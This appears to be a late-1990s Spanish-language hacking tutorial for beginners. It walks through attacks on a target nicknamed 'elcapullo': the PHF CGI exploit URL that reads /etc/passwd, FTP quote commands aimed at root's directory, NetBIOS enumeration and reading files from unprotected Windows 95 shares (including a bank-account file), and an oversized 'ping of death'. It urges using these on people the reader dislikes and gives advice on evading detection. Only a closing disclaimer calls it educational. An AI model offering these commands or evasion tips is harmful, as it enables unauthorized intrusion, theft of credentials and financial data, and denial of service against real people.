Ya se que todos vosotros pensais que este es una articulo de los tantos que hay perdidos en la red,que hacen repetir una y otra vez lo mismo,... y ahora seguro que pensareis que este es una articulo de esos que dice que es diferente y son lo mismo de siempre (jejeje!) Pues esta vez no,aquí te voy a decir algunos truquitos que hacen tiempo que no se hacen y que te pueden ser MUUUYYY utiles.
Si navegais por la red buscando cosillas de pirateo seguro que os habreis dado cuenta de dos cosas,o estan en ingles,o en linux. Para ser un buen hacker estan: Los 10 mandamientos que puso Miguel A. en el BZ2 (que tiene toda la razón del mundo) y saber UNIX o LINUX.
Si tú sabes unix/linux no pasa nada pero si no lo sabes...a que jode? Bueno,pues aquí te voy a comentar como hacer pirateo con los dos sistemas operativos mas conocidos del mercado, el MS-DOS y el W95. ¿Porque? muy sencillo,si algún haceis pirateo (como principiantes),no vais a piratear la web de microsoft,ni de telefonica,porque os pillarian los webers a la velocidad de la luz. Cuando empezaba mis tiempos de informatico (Ay! que tiempos!) no tenia ni puta idea de lo que era UNIX,así que tuve que averiguar como hacer pirateo con el DOS y el W3.11,pero como los tiempos avanzan ahora ya tenemos el W95,con mas posiblidades de crakeo (gracias bill!!) ;) Aparte de que si quereis hacer pirateo,mola mas hacerlo en un ordenador de algún capullo que conoces y te cae mal,pues como casi toda la gente tiene W95 o el DOS,podemos, gracias a estos dos S.O,entrar y explorar discos duros (por ejemplo) y hacerle cosillas ;)
A que esto se anima? pues sigamos!...
Como puedes ver el W95 no tiene ni un pijo de seguridad,cuando te pide el password apretas la X y a la caca,y lo mejor de todo ¡¡esta hecho en java!! >;->.
Empecemos.
Sabes lo que es un FTP? bien,pues en el windows95 lleva un cliente de ftp incorporado,la unica pega es que se ejecuta en modo dos y no es muy vistoso. para activar el modo ftp tecleas:
c:\>ftp
despues te tiene que salir esto:
ftp>
para informarte de este "modo" pide ayuda pulsando el ? o help. Con esta pijotada de servidor podremos hacer cosas muuuyyy interesantes,ya lo veremos mas adelante.
Pues visto esto vamos con la primera tecnica,bastante antigua, no te puedo asegurar que aún funcione,pero seguro que en algun sitio lo puedes hacer. Esta tecnica consiste en ver el ficheo de passwords mediante el "in" del navegador. Necesitas que tu W95 tenga un navegador instalado,como todos vienen con el Iexplorer creo que no habrá problemas. Esiste muchas formas de ponerla pero aquí va la que mas funciona (a veces): Escribe esto en el in del navegador:
http://www.elcapullo.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Si teneis pirula os saldrá el fichero de passwords del servidor,ahora lo copiais a vuestro dico duro y salis a toda leche de internet (por si las moscas) ;),no es que te pase algo,pero por si las moscas sal de ahí.
Si esto te ha funcionado,ya te has ahorrado un paso con el unix. Bien,esto se hacia de forma "grafica" y sin rompernos mucho el coco. Ahora vamos a hacer casi lo mismo pero con el ftp del W95 que ya vimos antes,intentaremos acceder al fichero de passwords... Esto el lo que haremos:
ftp> open elcapullo.com
Conect to elcapullo.com
220 elcapullo.com FTP server
ready.
ftp> quote user ftp
331 Guest login ok, send ident
as password.
ftp> quote cwd ~root
530 Please login with USER
and PASS.
ftp> quote pass ftp
230 Guest login ok, access
restrictions apply.
ftp> dir (o lo que os dé la gana =};) )
Ep!Ep! tranquilo,eso de open quote etc.. lo encontrarás en la ayuda del "comando",o si no teb empollas un libro de ftp,te será muy util, jejeje... Si te sale algo raro o no te sale lo que pongo y salen palabras raras,tu olvidate y pirate,no te arriesques.
A estas alturas te estaras preguntando y como se hace eso de entrar en el disco duro de otro,lo dijiste al principio,mentiroso!! -no,no,no soy ningún mentiroso,ahora os lo muestro. Lo que pasa es que tal vez este tema es un poco delicado así que me pondré tecnico,como un director de banca o algo así.
Como win95 NO tiene seguridad (lo dije antes) nos permite colarnos en el disco duro de "elcapullo" por la red y lo mejor de todo es que esta tecnica nos la proporciona los propios programas del win95ç,jejeje... Por supuesto no todo es tan sencillo ya que hay que cumplir unos requisitos minimos. Esto se debe a una mala configuración del propio "usuario" al no configurar adecuadamente los recursos compartidos de su red "corriendo" sobre win95.
Para colarnos en el HD de otro ordenador (lo llamaremos "elcapullo") debenos tener nuestro ordenador bien configurado,o sea,el compartir recursos bien puesto y tambien tener el "Netbios" instalado. Para configurarlo, tenemos que tener activado la opcion de "compartir ficheros e impresoras" en MIPC->Panel de Control->Red.
SI por el caso la opcion esta desactivada,simplemente teneis que pulsar el boton de "añadir" y añadimos el servicio "Compartir ficheros e impresoras en redes Microsoft". En la misma ventana, debemos tener el "Primer inicio de sesion" en "Cliente para redes Microsoft" (ya os dije que esto es un poco delicado,estoy siendo lo mas tecnico que puedo para que lo entiendas). Tambien tiene que estar activado el "Cliente para redes Microsoft", que viene por defecto en MIPC->Acceso Telefonico a Redes->Conexion a Inet que usaremos->boton derecho-> propiedades (creo), debiendo estar activada la casilla "conectarse a la red".
Ahora ya podemos ponernos manos a la obra,mejor dicho a la masa, entonces "volvemos" a una ventana del MS-DOS y ejecutamos:
c:\>nbtstat -A (IP de la victima en este caso elcapullo)
c:\>nbtstat -A (IP de la victima en
este caso elcapullo)
NetBIOS Remote
Machine Name Table
Name
Type Status
---------------------------------------------
elcapulloMACHINE
<00> UNIQUE Registered
elcapulloGROUP
<00> GROUP Registered
elcapulloMACHINE
<03> UNIQUE Registered
elcapulloMACHINE
<20> UNIQUE Registered
elcapulloGROUP
<1E> GROUP Registered
MAC Address = 44-45-53-54-00-00
Cuando ejecutamos este comando nos saldra una tabla como esta (o parecida) y el primer "UNIQUE" de tipo <00> es el nombre de la victima y como puedes ver la maquina se llama elcapulloMACHINE.
Entonces ahora creamos/editamos el archivo LMHOSTS, si por el caso encontrais uno que pone LMHOSTS.SAM no lo toqueis,hacedme caso,que luego pasa lo que pasa, poniendo la direccion IP y el nombre de la maquina en cuestion, esto seria de la siguiente forma:
c:\>edit c:\windows\system32\LMHOSTS
elcapulloMACHINE
Entonces cerramos el fichero y desde un ventana del MS-DOS ejecutamos un comando para añadir el ordenador de elcapullo a nuestro Netbios y... como lo hariamos? bien sencillo,así:
c:\>NBTSTAT -R
Ahora nos interesa saber que recursos comparte la elcapullo y esto tampoco nos dará dolores de cabeza,así que dejad las aspirinas a un lado:
c:\>net view \\elcapulloMAMACHINE
Shared resources at \\elcapulloMACHINE
Sharename
Type Comment
-----------------------------------------
BANCO
Disk
...y como podemos observar comparte una carpeta llamada BANCO (mmmm!...Interesante). Ahora ya podemos hacer como si fuese una terminal más en nuestra "red local" en win95. Ya solo nos queda ejecutar el comando que querramos, si por ejemplo queremos ver el contenido, solo tenemos que escribir:
c:\> dir \\elcapulloMACHINE\BANCO
...o para leer cualquier fichero de la carpeta,o mejor dicho,del directorio:
c:\> type \\elcapulloMACHINE\BANCO\CUENTABANCARIA.TXT
Si alguno de vosotros esta follao con el windows95 y quiere un entorno grafico(o sea con una ventana y no seguir usando el magnifico MS-DOS), solo tenemos que pulsar:
INICIO->BUSCAR PC y dentremos el PC remoto pero esto solo es posible si habeis añadido la elcapulloMACHINE a una unidad de red a la que podamos llamar sino lo veo negro,debereis ejecutar:
c:\>NET USE e: \\MIPC\WINDOWS
Esta tecnica solo funciona si la "maquina remota" ;) ejecuta win95 o win 3.11(de este ultimo no estoy muy seguro) y ademas comparte las carpetas sin contraseña en modo "Acceso a nivel compartido" MIPC->Panel de control->Red | Control de acceso. Si utilizase el "Acceso a nivel de usuario" nuestro grupo debe estar autorizado en esa maquina. Podemos probar a intentar insertar el grupo de nuestra maquina para que este autorizada, esto lo conseguiremos con el Regedit (thxxx), por desgracia los S.S.O.O win95 y OSR2 que estan ejecutando el Servidor Web Personal de Microsoft desactivan esta posibilidad de acceso remoto tras informar de la conveniencia de hacerlo al usuario, ya que el servidor web obliga a compartir carpetas aun sin tener red local.(no todo iba a ser perfecto,no?)
Logicamente un usuario que haya tenido el despiste de conectarse a Internet con carpetas compartidas no toma luego medidas de control sobre quien entra en su maquina. Pero no hay que hacer ilusiones ya que podemos ser pillados si por ejemplo un usuario ejecuta el programa Netwatch, que muestra los usuarios conectados a nuestra computadora en cada momento y por supuesto el nombre de las computadoras por lo que es aconsejable cambiar el nombre de nuestra computadora usando el Regedit. Si nuestra maquina se llama HACKERMALO cambiamos todas la cadenas donde aperezca este nombre con el Regedit a un nombre menos sospechoso porque HACKERMALO no me inspira mucha confianza a mi,no crees?.
Si no conectamos la elcapulloMACHINE como una unidad mas a nuestra computadora no nos tendremos que preocupar del Netwatch (que a veces lode mucho), asi conseguiremos una "cierta" seguridad personal ya que lo mas seguro, la elcapulloMACHINE no se dará ni cuenta de nuestra entrada. Tambien quiero decir que si la elcapulloMACHINE quiere apagar su computadora le saldra el mensaje del tipo "hay otros usuarios conectados a su ordenador, si apaga se desconectaran" cosa que significará que nos habrán pillado y de lleno.
BUF! me duele la boca de hablar tanto tecnicismo,pero bueno,la pesadilla ya ha pasado.
Ahora explicaré como hacer un ping en 4 lineas:
Seguro que ya sabreis que es un ping,pa´los que no los sabeis digamos que es una forma de joder un servidor mandadole un sistema de paquetes,provocando un datagrama. Su sintaxis seria:
c:\> ping -l 65510 elcapullo.com
Cuidado con esto,yo de vosotros no lo haria,os pueden pillar facilmente,de todas formas podeis hacerlo en una casa de internet y salir cagando leches,para que ni os reconozcan ni nada parecido,eso sí,no entres en esa casa de internet nunca más,tal vez esté exagerando,pero toda precaución es poca,si supierais lo que me ha faltado para que me pillen usando el maldito ping este....
Pues esto sa´acabao,espero que os haya gustao o sus haya servio de utilidad ;)
Por supuesto,no me hago responsable ni directa,ni indirectamente de la información aquí contenida,solo la expongo para su uso como estudio y como uso didactico.
Bu-Bueno,pues esto ha sido to-to-to-todo amigos!